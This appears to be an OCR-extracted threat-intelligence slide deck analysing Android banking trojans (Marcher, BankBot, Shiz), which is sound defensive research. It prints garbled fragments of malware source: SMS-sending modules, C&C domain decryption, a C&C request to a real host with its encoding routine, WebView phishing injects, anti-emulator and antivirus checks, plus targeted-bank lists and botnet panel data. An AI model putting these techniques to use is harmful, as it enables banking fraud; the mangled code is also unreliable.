fSrez = Sthis->db-rexec($=zql, Sparams, trne):
if(sizeof(fres))
retorn troe;

$# check country, lang, imei, model, operator if they are present

£isz bad = false;

{
Scountry = hlp: :get($data, "102', "'):
Scountry = strtolower (Scountry) ;
ifiin_array($cuuntry, array ("ra", "ru="})}))
£iz bad = true;

Real-time contextual threat intelligence

fotherresearchersfromgermanyspam
Deny from 176.14.92%.0/24

Deny from 54.72.0.0/16

Deny from 54.73.0.0/16
#IFNETEBERASILRESEARRCHERS

Deny from 237.128.0/21
Deny from .237.128.0/24
Deny from 237.128.0/24
Deny from .237.130.0/24
Deny from 237.131.0/24
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Marcher (Exobot)

Modules

Modulez mods = new Modules({ctx) !
if({!mods.is mod exists(5.mod main))
if {Con=stant.DEBUG) Log.d{"CCHTRCL"™, "start download main™);
mods.download mod(S.main) ;

}
ff get list of bot tasks

function get tasks(Sbot id)

{
£8gl = "select id, command from bot_tasks where bct_;d='{$bnt_id}' and status='pending'™;
E£res = Sthis-»db-»exec(5sgl, null, true):
if(!5res=)
retorn ''; S/ no tasks

Stasks = arrayvi):
Z2ids = array|():
foreach(Sres as £task)

{

$task prep = json decode ($task(['command'], true);

$mﬂd_file = dirpame( FILE | . ”fbct_mcdsf{$task_prep['mn']}.dex”;

ifi!file exists(Smod file))

{
£8gl = "update bot_tasks set status='cancelled', response='Module is not allowed', t=s_end=NOW() where id = {Etask["id"]}":
Sthis->db-rexec (S=3gl):
continune;

ftask prep['6'] = Stask['id']:
£id=[] = &task['id"']:
$task prep['7'] = md3 file($mod file):

Stasks[] = Stask prep;
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Marcher (Exobot)

Modules
public Sms (HashMap<String, Cbject> system) throws Exception
] {
thiz.mods = system.get("a4") !
thiz.run func = mods.getClass () .getleclareddMethod ((String) system.get("as"}),
£ }
] pukblic J30HNChject run(JSCHObject params) throws Exception {
] run func.inwvoke (mods, "main", "send sm=", new Cbject[]{
params.getString ("n"), S/ number
params.getString ("n"), S/ message
: ¥
retorn null;
s }
puklic woid send sms(String number, String message)
i

if{number.isEmptv{}}
return;

SmeManager manager = SmsManager.getDefault () ;

if(message.length{) > 7C})

i
Arraylist<String>» msgs = manager.divideMessage (me=s=sage) ;
manager.sendMultipartTextMes=zage (number, null, msgs, nmmll, mmll) :
return;

¥

manager.sendTextMessage (number, nmll, message, null, nnall) !

Real-time contextual threat intelligence

String.class,

String.cla=ss=,

Chiject[].class)
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Marcher (Exobot)

Modules

- Fire CC
Get Contacts
Intercept ON/OFF
Kill ON/OFF
Notification
Repeat Inject
Request Coordinates
Request Token (TODO)
Screen Lock ON/OFF
SMS
SMS Redirect
SMS to Contacts
SMS to List
Update Info
USSD

Real-time contextual threat intelligence



Marcher (Exobot)

C&C communication: HTTP/HTTPS

ff servers: %5ERVERS:
pulkzlic static final String API SERVER = ""; S/ aes encoded servers sIv|sIv|sov

public =static String getDomains (Context conteXt)

{
S/ decrypt constant AES domains
String default domains = Utils.aes_decrypt (Constant.APT SERVER, Utils.mds (5.api_header value)}) ;
Sf get new domains from prefs / should be merged already in AlarmBeceiver
String result = (String} Modules.main(context, S.get_pref, new Cbject[]{ S.api_server, default domains });
if({result == mmll)
result = default domains;
S/ return full list
retuorn result;
1

Real-time contextual threat intelligence
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Marcher (Exobot)

Backend

Is disabled?

Folder
mod Contacts
grabber

mod Socks

Is disabled?

Folder
mod Contacts
grabber

mod Socks

Is disabled?

Folder

mod Contacts
grabber

mod Socks

Real-time contextual threat intelligence

[

[puraman

[CONTNNSURE

[\adger

[ STARTFAMILY

[Endlesspuke

[Jadahre

Is disabled?

Folder
mod Contacts
grabber

mod Socks

Is disabled?

Folder
mod Contacts
grabber

mod Socks

Is disabled?

Folder

mod Contacts
grabber

mod Socks

[————

anabolik

IEACHSETSUUTH

hare

langelkelly

[cunqmstadur

lsmnamon\m

Is disabled?

Folder
mod Contacts
grabber

mod Socks

Is disabled?

mod Contacts
grabber

mod Socks

Is disabled?

Folder

mod Contacts
grabber

mod Socks

[————

| waistmeinskil

INEXTLEARNLAWUU

balls

ballss1

[xtﬂy

Ity\att\mcre

racha

Folder [OUEST\UNROADFAR

mod Contacts
grabber

mod Socks

Is disabled?

Folder

mod Contacts
grabber

mod Socks

Is disabled?

vanessablus

Felidr [vanessab\ue

mod Contacts
grabber

mod Socks
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Marcher (Exobot)

Backend

Real-time contextual threat intelligence
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Marcher (Exobot)

BaCkend LN — ERNCILILE B o e r r s e g gt b mn o e mnr o e mm e dimm s ma P 8% tnr o m mmn e mm s 1 8% Giem t @ mim s 03 1 4ol s mm s mm mm m m m mmmaiem r mid f e @ =

#1 at.bawag.mbanlking [+

#2 at.easybanl.mbanking [«

#3 at.spardat.netbanking [«

#4 at.vollksbanlk. volksbanlkmobile [+
#5 com.banlkaustria.android.olb [+

#7 comwhatsapp [«

#78 com.instagram.android | |
#79 com.android.vending | |
#80 com.facebook.katana | |
#81 com.skype raider | |

#82 com.viber.voip | |

#8 com.db.mm.deutschebank [«

#9 com.ing.diba.mbbr2 [«

#10 com.isis_papyrus.raiffeisen_pay_eyewdd «
#11 com.starfinanz.smob.android.sfinanzstatus [«
#12 de.comdirect.android [«

Real-time contextual threat intelligence
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BankBot

When: January/2017

Distribution method: mostly through Google Play

New feature: encoded communication, target list “hashed” on the malicious app
Actor: maza-in, source code leaked on exploit.in forum

Ham norpebyerca Android Studic, =SHaHMA ASHKa Java, PHE M mysgl - ONA aOMMHEHM
OOpaTHMTe BHMMaHMe, B kKone Oonee nogpofHO OINMCaHO KOMMeHTapMAMM!
M Tar , He OyIeM JIMTE BOOY M HadHeM IMCaTh!

CosmaeM YHMCTHM OpoekT (Activity), CHOMIMIMpOBAHHHM apk MMeeT Bec 346, nDoOroToBMI maSlioH OpOosKTa

INIOKa MEH MMeeM YHMCTENM MainActivity
Kox

package com.example.livemusay.myapplication;
import android.app.fActivity:
public class MainActivity extends Activity
{
@override
protected void onCreate (Bundle savedInstanceState)
{
super.onCreate (savedInstanceState) ;
setContentView (R.layout.activity main);

Real-time contextual threat intelligence
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BankBot

Example of “inject” targeting Google.

S @~ ¢ O u717217220/adminlod/inj/googles

< HQ Search

Enter card details

Google Play

Real-time contextual threat intelligence

SAVE
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BankBot

Backend

Real-time contextual threat intelligence
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BankBot

Anti-analysis

private static boolean &()
{
boolean bool = false;
String atr = b{);
if {(3tr == mull) |
return true;
}
if (!'str.contains(TextUtils.join{™", new String[] { "5", "D", "E" 1))} I
if (!str.contains (TextUtils.Jjoin({"", new String[] { ™=, "d4", "k" 1))} I

if (!'atr.contains (TextUtil3s.Jjoin("", new String[] [ "x", ™&8", "&™ 110} |
if (!'astr.contains{TextUtils.join(""™, new Scring([] [ "™=x", "&", "4™ 111} |
if (!'atr.contains(TextUtils.join{("", new String(] { ™uo", "n", "k", "n", "o, ™wW", "n" 1111 |

if (!'str.contains(TextUtils.join("", new String[] { "b", ™u", "i™, "1™, "d" }i11) [

if (!astr.contains (TextUtils.Jjoin("", new String[] { "e", "m", ™u"

. tm", "u", "1, "a", "t", "o", "r" 1)) {
return bool;

bool = true;
return bool;

Real-time contextual threat intelligence
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BankBot

Checking targeted apps

final PackageManager pm = getPackageManager():
List<ApplicationInfo> packages = pm.getInstalledfpplications (PackageManager.GET META DATZ) ;

for (ApplicationInfo packageInfo : packages) {

/{ SBERBANE STANDART

if{packagelInfo.packageName.equals ("ru.sberbankmobile™) ) {
5=1:

1

/f{ SBERBANE BUSSINES

if (packageInfo.packageName.equals ("ru.sberkbank sbbol™)) {
5= 1:

1

protected wvolid onStart() {
super.onStart ()
Intent intent = getIntent(} .’
String str = intent.getStringExtra("stxz");

WebView webView = (WebWView) findViewById(R.id.webView)
webView.getSettings () .setJavaScriptEnabled (trus) ;
webView.setWebViewClient (new WebViewClient()) !
webView.setWebChromeClient (new WebChromeClient () ) !

J/zarpy=maeM C© aOMMHEM Dphp MHEESKT
webView. loadUrl {const_.url+"/inj/" + str + ".php?p=" + SF.trafEnCr(SF.IMET (this}}}

Real-time contextual threat intelligence



BankBot

Checking targeted apps

private String a(byte[] paramhrraylfByte) public class a
{ {
StringBuilder localStringBuilder = new StringBuilder(): private static String[] & = { "9b21860b33b584b1989cBa66a8b401399£38721c™, ™3dadk:
int m = parambrravy0fByte.length;
int 1 = 0; puklic static String[] af)
int il;: I
int j; return a;
int kr }
if (i < m)

{
il = parambrray0fByte[i]:
j =il »»» 4 & 0xF;
k=20;
}
for {::)
{
if ({3 »=0) =& {3 «=9)) [}
for (char c = (char) (] + 48);; c = {(char){j - 10 + 97)}

{
localStringBuilder.append(c) »
if (k< 1) |
break label98;
}
i+=1:
break:
}
return localStringBuilder.toString():
labeld8:
k += 1:

J =11 & 0xF;

}

Real-time contextual threat intelligence



BankBot

C&C communication: HTTP with “custom” encoding

POST /private/tuk tuk.php HTTP/1.1

User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.1; Phone Build/JR0O03S)
Host: frak.mcdir.ru

Connection: Keep-Alive

Accept-Encoding: gzip

Content-Type: application/x-www-form-urlencoded

Content-Length: 71

p=48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 37 5w 65 49 37 5w 65 49

public String trafEnCr({String text)
{

text = URLEncoder.encode (text) ;

String key = "gwe";
String =="";
try {
for (int i = 0; i <« text.length{),; i++) {
char © = text.charfat(i)
int j = {int) c;
5_|_=j_|_r|r|r.
1
for (int i = 0; i < kev.length():; i++) {

String dd = key.substring({i, i + 1}
g8 = s.replace{("" 4+ i, dd):
1
yecatch (Exception ex){}
return =;

}
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Shiz

When: December/2016, first bot from November/2015
Distribution: Unknown

Actor: Private Group

Full string encryption
Stagefright exploit

This is the only Android malware being specifically by a private group, it has more “professional” code style
such as full string encryption, usage of exploits (stagefright on this case).

Real-time contextual threat intelligence
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Shiz

Backend

user Bots Commands SMS Statistics

Common Versions Operation Systems Countries

Total bots 26892

First bot install date 2015-11-03 23:52:26
Bots online now 2.00% - 453
Bots with last time 12h 3.00% - 851
Bots with last time 24h 4.00% - 983
Bots with last time 48h 4.00% - 1095
Bots with last time 72h 4.00% - 1177
Bots knock once 5.00% - 1386
Bots dead 1st day 37.00% - 9845
Bots with USSD 12.00% - 3301
Bots with ADMIN 22.00% - 5828
Bots with ROOT 25.00% - 6812
Total sms 1723237
Total dialogs data 1384

Minimal bot version 1.004
Maximal bot version 1.014

Real-time contextual threat intelligence

Dialogs

google
adobe14
adobe2
googl

trusteer

Block [P Upload  Help

Bots

97.00% - 26083

2.00% - 474

1.00% - 335

0.00% -0

0.00%-0

(0]

2016-11-14

20:20:39 / 20:20:50
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Shiz

Backend

Commaon Versions

TR

MY
ES
FR

DE

+ + + + + + +

FL

Real-time contextual threat intelligence

Operation Systems

Country

Countries

E

Exploits

Bots

7865

3781

1582

1347

1083

1065

1029

Online

204

22

B

31

37

13

10
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Shiz
Backend

GooglePlay Ext NO BVE ALL GEO
ID_BMNI

ID_CIMBE

ID_Danamon

ID_bankjatim

R K R R B K

ID_bankmega

WhatsApp_Ext_NO_BVB_ALL_GEO

ZA_FNB

ZA capitec

ZA nedbank

R K K K

Real-time contextual threat intelligence

package: com.android.vending, countries: all, issued dialogs: 3324, issued executed dialogs: 1328

package: src.com.bni;com. arkalogic. bni.activity,com. bilinedev.bniexperience, countries: all, issued dialogs: 4, issued executed dialogs: 0
package: id.co.cimbniaga.mobile.android;,com.aprisma.product. mobile.cimb, countries: all, issued dialogs: 1, issued executed dialogs: 0
package: com.BDl.mebile, countries: all, issued dialogs: 1, issued executed dialogs: 0

package: com.dwidasa.sms.banking, countries: all, issued dialogs: 0, issued executed dialogs: 0

package: mega.mbank,com.bankmega.mch;com.bankmega.megamobile, countries: all, issued dialogs: 3, issued executed dialogs: 0

package: com.whatsapp, countries: all, issued dialogs: 1438, issued executed dialogs: 552

package: za.co.fnb.connect.tristan;za.co.fnb.connect.tristan, countries: all, issued dialogs: 0, issued executed dialogs: 0

package: capitecbank remote.prd, countries: all, issued dialegs: 0, issued executed dialogs: 0

package: za.co.nedsecure.nedbankSMAS, countries: all, issued dialogs: 0, issued executed dialogs: 0
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Shiz

Backend

user Bots Commands SMS
[l © + - - offset | 0
1D IP

] 19 39.50.135.41
[] 18 191.34.142.68
|:| 17 121.211.62.187
] 186 49.180.168.164
] 1s 88.224.172.18
] 14 203.82.80.61
|:| 13 187.210.227.100
|:| 12 113.210.185.125
] 1 113.210.179.0
|:| 10 183.171.178.48
O o9 109.25.131.11
] 8 89.188.222.251
g 7 78.173.98.44
] 8 112.215.64.74
O s 147.6.1.1

] 4 189.0.122.179
O s 78.250.183.132
2 178.62.68.230
o 1 115.164.52.181

Real-time contextual threat Intelligence

Statistics  Reports

limit | 100

Creation Date

2016-10-20 06:57:45

2016-09-08 13:55:40

2016-06-03 13:24:49

2016-06-03 12:41:31

2016-05-15 16:42:06

2016-04-29 15:58:24

2016-04-10 20:14:41

2016-04-08 10:05:42

2016-04-08 09:45:05

2016-04-05 15:00:01

2016-04-05 15:00:01

2016-04-05 15:00:01

2016-04-05 15:00:01

2016-04-05 15:00:01

2016-04-05 15:00:01

2016-04-05 15:00:01

2016-04-05 15:00:01

2016-04-05 15:00:01

2016-04-05 15:00:01

total

Dialogs  Files

main:

main:

main:

main:

main:

main:

main:

main:

main:

main

main:

main

main:

main

get file id=5: incorrect user agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/637.36 (KHTML, like Gecko) Chrome/47.0.2626.80 Safari/537.36

main

main:

main

main:

19

order by | ID

incorrect user agent:
incorrect user agent:
incorrect user agent:
incorrect user agent:
incorrect user agent:
incorrect user agent:
incorrect user agent:
incorrect user agent:
incorrect user agent:
sincorrect user agent:
incorrect user agent:
lincorrect user agent:
incorrect user agent:

sincorrect user agent:

sincorrect user agent:
incorrect user agent:
sincorrect user agent:

incorrect user agent:

Block IP  Upload  Help

j order_dir | DESC j Show

Description
Dalvik/1.6.0 (Linux; U; Android 4.1.2; Nokia_X Build/JZO54K)
Dalvik/1.2.0 (Linux; U; Android 2.2; GT-I55008 Build/FROY Q)
Dalvik/1.6.0 (Linux; U; Android 4.1.2; GT-N7105T Build/JZO54K)
Dalvik/1.6.0 (Linux; U; Android 4.1.2; GT-N7105T Build/JZO54K)
Dalvik/1.6.0 (Linux; U; Android 4.2.2; GT-18190 Build/JDQ39)
Dalvik/1.6.0 (Linux; U; Android 4.2.2; Lenovo AB50 Build/JDQ38)
Dalvik/1.6.0 (Linux; U; Android 4.4.2; ARCHOS 40C TIv2 Build/KOT48H)
Dalvik/1.6.0 (Linux; U; Android 4.2.2; Lenovo 5650 Build/JDQ38)
Dalvik/1.6.0 (Linux; U; Android 4.2.2; Lenovo S850 Build/JDQ39)
Dalvik/1.6.0 (Linux; U; Android 4.2.2; Lenovo A388i Build/JDQ38)
Dalvik/1.6.0 (Linux; U; Android 4.3; WAX Build/JLS36C)
Dalvik/1.6.0 (Linux; U; Android 4.0.4; MID Build/IMM76D)
Dalvik/1.6.0 (Linux; U; Android 4.2.2; \V3+ Build/JDQ38)

Dalvik/1.6.0 (Linux; U; Android 4.2.2; Lenovo A368i Build/JDQ39)

Dalvik/1.6.0 (Linux; U; Android 4.2.2; GT-S7582L Build/JDQ39)
Dalvik/1.6.0 (Linux; U; Android 4.2.2; ARRENAS Build/JDQ39)
Dalvik/1.6.0 (Linux; U; Android 4.1.2; GT-N7000 Build/JZO54K)

Dalvik/1.6.0 (Linux; U; Android 4.1.2; GT-N7000 Build/JZO54K)

2016-11-14

20:15:50 / 20:15:58



Shiz

Anti-analysis: string encryption and checking Avs

com.drweb

com. kaspersky
com. kms
com.avast
com.symantec
com.antivirus
com.avira
com.wsandroid
com.eset
com.bitdefender
com.s.antivirus
com.pandasecurity
com. sophos
com.comodo
org.antivirus
com.abvcorp

Real-time contextual threat intelligence

static

{

String[] array0IiString = new String[l&];
i.
.1 ("ixKtEOLledthl fdali==");
LI ("iKECEOLpew=="):

LI ("iKEEEDjvaYhw") ;
LI("iKECEPr9ZZipaleFkE™) ;

LI {iKECEDJaf JIIVvEREyIg=="):
LI (TixEEEDIYYY11™) ;

LI ("iXECERT3aZVgl+tuMp=="):
.1 ("ixKtEOz3bYa=");

LI ("ixEtEOvtEJ9hw+FpMZRI") ;

array0fString[0]
array0fString[l]
arraylfString[2]
array0fString[3]
arraylfString[4]
array0fString[5]
array0fString[&]
array0fsString[7]
arraylfString[g]
array0fString[3]
array0fString[10]
array0fString[11]
array0fString([l2]
array0fString[13]
array0fString[l4]
array0fString[15]

(I I A W A}

a = array0fString;

B e e

i("ixKtK032£55m");

LI ("ixEtEPgoaZVwz BJud4LI™) ;

. 1("ixKtKPnlZpalluFkIIcSAWw=");

LI ("iXEtEPrredlrlg=="):
Li{"ixEtEOrrZZRgyg=="):
LI {"hwHnEJgf IdvEPEZydg==")
i {"ixEtEOimSphrl/Q=") ;
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C&C communication: HTTP/HTTPS

ID Countries | Botnets | GI‘OI.IPS | Version | Network | Ccmd
] # all| all| all| <=1.009 | all | SET_INTERVAL ?
() 39 all| all | all | >=1.010 | Wi-Fi | PLUGIN_GRAB_APP_DATA 7
] 38 all| all| all| >=1.010 | Wi-Fi | PLUGIN ?
O 37 all [all|all| all | all | GET_ADMIN %
] 38 all| all | all| all| all | PLUGIN_GET_ROOT 2
(] 35 all| all| all| all | all | PLUGIN 2
] 34 all| all| all| all | all | PLUGIN %
all|all]all|all] a | » 7
32 Il all|al]al]al| GET_INSTALLED_APPS 7
all | all| all | >=1. a _ 7
28 Il] all] all| >=1.008 | all | STAGEFRIGHT_TEST ?
[] =0 all| all | all| >=1.006 | all | UPDATE_DOMAINS_LIST ?

Real-time contextual threat intelligence

Status

ON

ON

ON

ON

ON

ON

ON

ON

OFF

ON

User

user

user

user

user

user

user

user

user

user

user

Antivirus

all

all

all

all

all

all

all

all

all

all

Creation Date

2016-04-05 03:36:57

2016-04-01 11:36:07

2016-04-01 11:33:48

2016-03-23 12:09:38

2016-03-23 11:54:38

2016-03-23 11:54:21

2016-03-23 11:63:30

2016-02-17 18:18:04

2015-12-18 17:18:62

2015-12-07 20:27:51

Limit Sended
o 2756
o 2751
o 2751
o 16348
o 16349
o 16341
o 16339
o 1527
o 2101
@ 17223

Executed

60

2358

818

2614

13379

4759

13883

13683

1438

51
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Packer

It’s being very common usage of same “packer” between families (Marcher and MazarBOT for example) which
was also used on another family (Catelites — 2015).

Packed DEX files were placed on assets directory under “random.bat” and recently saw that into “urlsDB.txt”
file, every sample has its own key.

Offsec(h) 00 01 02 03 04 05 06 07 08 0% Q& OB OC OD QE OF

00000000 A2 07 C5 21 0B 60 63 6E AS 73 A4 359 83 8B D1 FD ¢.ﬁ!.“cn@sn9f{ﬁ§
00000010 OD AR FO 2D 3E 97 71 CC F9 F3 81 CO 31 55 9D A4 . *d-»>—gind.A10.=
00000020 48 ED CE D23 B 68 2F ES5 8D 85 38 DA CT7 5B B3 CO Hifékhfi.mﬂﬁglzﬁ
00000030 oO6 B1 AS 05 62 CD eA BD 828 0B ED CT7 SF 9B 02 85 .i@.bijﬂ‘.igﬁ>.'
00000040 7TA EC 14 DE CC 09 D8 B3 EC 57 BD 48 DB D& 87 Be =zi.bl.@simsH002q

Offsec(h) 00 01 02 03 04 05 O6 O7 08 09 04 OB OC OD QE OF

00000000 50 4B 03 04 14 OO0 OO0 OO OB 00 71 84 &3 4B 33 FD
00000010 TF DO AE 53 03 00 €8 CB 07 00 OB 00 00 00 &3 &€C o5, .ok, ..... cl
00000020 &1 T3 73 65 73 Z2E 64 &5 T8 84 BD 07 TC 54 C5 FF asses.dexnﬁ.|Tﬁ§
00000030 FD 7D EF EC 2E 20 25 52 42 &F A1 77 42 AF A1 87 yilii. )EBojwB ;¥
00000040 SA DO 5B EB 25 84 OE A1 84 1E TA 08 C5 08 84 04 Eﬂ[é%".i".z.ﬁ.".

byte[] arrayOfByte2z = [ 124, -12, -118, -54, -12&, 49, 17, -118, -2, -64, -52, -9, -11, -115, 118, &1, 34, -104, -120, &6, 114, -57, -110, -83, -107,

Real-time contextual threat intelligence



Wrap-up

Timeline of recent Android malware families

Perkele

iBanking

SMS forwarding
Usage by private and non-

private groups

Real-time contextual threat intelligence

Slempo/MazarBOT BankBot
Marcher Marcher
Shiz MazarBOT

p 2013 > 2014 > 2015 D 2016 » 2017 3

Targeting bank and social media apps
Seems mostly targeting CC data
Distribution on Google Play, phishing
Unknown usage by private groups (except Shiz)

Packing, anti-analysis, encryption/obfuscation
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Takeaways

1. There’s a clear evolution in terms of coding level: string encryption, anti-analysis, C&C
communication, packing, target list on the infected device and on the server side, backend filtering
bad bots.

2. Distribution method has changed as well from social engineering (tied with Windows malware) to
broad infection such as Google Play, phishing or direct SMS.

3. Forthe most part, mobile banking Trojans are being sold/leaked on underground forums and being
sold as a Kit, initial posts ended up seeing more malicious files in the wild later on.

4. Private groups (like Shiz) tend to develop even better malicious file: full string encryption,
obfuscation, usage of exploits.

5. New era mobile banking Trojans haven’t been used (from our perspective) by other malware such
as old-fashion mobile banking Trojans which were used by Citadel, ZeusP2P, etc.

6. Even thought lots have been said about modern mobile banking Trojans being able to directly
attack bank app, what we’ve seen in fact is that they are grabbing more CC data than actual
login/password.

Real-time contextual threat intelligence 63
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Targets — Slempo/MazarBOT

et &

Created with mapchart.ne
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Targets — Marcher

Marcher

Created with mapchart.net @
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Targets — Shiz

Real-time contextual threat intelligence
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Targets — BankBot

BankBot
0 S
T
AR
o \

Created with mapchart.net @

Real-time contextual threat intelligence
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